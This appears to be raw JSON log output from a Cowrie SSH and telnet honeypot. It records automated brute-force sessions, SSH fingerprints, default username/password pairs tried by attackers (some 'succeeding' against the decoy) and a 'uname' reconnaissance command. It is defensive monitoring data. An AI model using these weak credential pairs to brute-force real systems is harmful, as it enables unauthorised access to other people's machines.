{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:26.312718Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:26.987488Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:27.553984Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:27.557806Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:27.801579Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:27.806112Z","src_ip":"31.40.204.166","session":"7d9cbd865030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.61729121208191,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:34.336365Z","src_ip":"152.42.224.71","session":"3c8831bb2c1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0479b00036a","protocol":"telnet","message":"New connection: 152.42.224.71:57774 (10.17.0.5:23) [session: e0479b00036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:36.997236Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39254,"dst_ip":"159.203.135.109","dst_port":22,"session":"844ac5fbc627","protocol":"ssh","message":"New connection: 31.40.204.166:39254 (159.203.135.109:22) [session: 844ac5fbc627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:37.583920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:37.595099Z","src_ip":"31.40.204.166","session":"844ac5fbc627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:37.718011Z","src_ip":"31.40.204.166","session":"844ac5fbc627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:38.392745Z","src_ip":"31.40.204.166","session":"844ac5fbc627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:39.526690Z","src_ip":"31.40.204.166","session":"844ac5fbc627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.024646520614624,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:39.814181Z","src_ip":"152.42.224.71","session":"0a57e0437fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57802,"dst_ip":"10.17.0.5","dst_port":23,"session":"822a3d4f2605","protocol":"telnet","message":"New connection: 152.42.224.71:57802 (10.17.0.5:23) [session: 822a3d4f2605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:41.597931Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada69d9b0f6c","protocol":"telnet","message":"New connection: 152.42.224.71:57786 (10.17.0.5:23) [session: ada69d9b0f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:41.905860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"15a557bf82c0","protocol":"telnet","message":"New connection: 152.42.224.71:45204 (10.17.0.5:23) [session: 15a557bf82c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:45.877281Z"}
{"eventid":"cowrie.session.closed","duration":91.57062220573425,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:46.983756Z","src_ip":"152.42.224.71","session":"f41bba9639e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00317001342773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:48.513547Z","src_ip":"152.42.224.71","session":"4cf1c14c84a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4664c0c4cdb","protocol":"ssh","message":"New connection: 31.40.204.166:48110 (159.203.135.109:22) [session: d4664c0c4cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:49.084763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:49.096709Z","src_ip":"31.40.204.166","session":"d4664c0c4cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:49.218918Z","src_ip":"31.40.204.166","session":"d4664c0c4cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:50.094480Z","src_ip":"31.40.204.166","session":"d4664c0c4cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.4128692150116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:50.873784Z","src_ip":"152.42.224.71","session":"875ef300c0ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:51.291155Z","src_ip":"31.40.204.166","session":"d4664c0c4cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e80f1cec290","protocol":"telnet","message":"New connection: 152.42.224.71:45216 (10.17.0.5:23) [session: 3e80f1cec290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:51.553175Z"}
{"eventid":"cowrie.session.closed","duration":93.76270842552185,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:52.341895Z","src_ip":"152.42.224.71","session":"b9b7aaba3e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42880463600159,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:54.710242Z","src_ip":"152.42.224.71","session":"64852ec8b89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45226,"dst_ip":"10.17.0.5","dst_port":23,"session":"92565b6538e5","protocol":"telnet","message":"New connection: 152.42.224.71:45226 (10.17.0.5:23) [session: 92565b6538e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:55.313795Z"}
{"eventid":"cowrie.session.closed","duration":120.00521636009216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:44:59.590096Z","src_ip":"152.42.224.71","session":"e34f3a0ac414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee0e82f20780","protocol":"ssh","message":"New connection: 31.40.204.166:56246 (159.203.135.109:22) [session: ee0e82f20780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:00.985056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.001913Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":52238,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a72af0a62c1","protocol":"ssh","message":"New connection: 94.159.98.239:52238 (10.17.0.5:22) [session: 9a72af0a62c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.015928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.021181Z","src_ip":"94.159.98.239","session":"9a72af0a62c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.113687Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.140810Z","src_ip":"94.159.98.239","session":"9a72af0a62c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fernando","message":"login attempt [root/fernando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.893969Z","src_ip":"94.159.98.239","session":"9a72af0a62c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:01.905852Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:02.594014Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:02.597585Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:02.728773Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:02.739793Z","src_ip":"31.40.204.166","session":"ee0e82f20780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:03.016889Z","src_ip":"94.159.98.239","session":"9a72af0a62c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.983954429626465,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:04.981100Z","src_ip":"152.42.224.71","session":"e0479b00036a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7c3bd2c24e","protocol":"telnet","message":"New connection: 152.42.224.71:44420 (10.17.0.5:23) [session: 8a7c3bd2c24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:06.852757Z"}
{"eventid":"cowrie.session.closed","duration":28.26572847366333,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:09.863557Z","src_ip":"152.42.224.71","session":"822a3d4f2605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44436,"dst_ip":"10.17.0.5","dst_port":23,"session":"7788bce0f562","protocol":"telnet","message":"New connection: 152.42.224.71:44436 (10.17.0.5:23) [session: 7788bce0f562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:13.133173Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39446,"dst_ip":"159.203.135.109","dst_port":22,"session":"572ac6d1e29a","protocol":"ssh","message":"New connection: 31.40.204.166:39446 (159.203.135.109:22) [session: 572ac6d1e29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:13.381437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:13.390159Z","src_ip":"31.40.204.166","session":"572ac6d1e29a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:13.519984Z","src_ip":"31.40.204.166","session":"572ac6d1e29a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:14.005703Z","src_ip":"31.40.204.166","session":"572ac6d1e29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:15.197252Z","src_ip":"31.40.204.166","session":"572ac6d1e29a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e75ddbbda68","protocol":"telnet","message":"New connection: 152.42.224.71:44442 (10.17.0.5:23) [session: 2e75ddbbda68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:15.401873Z"}
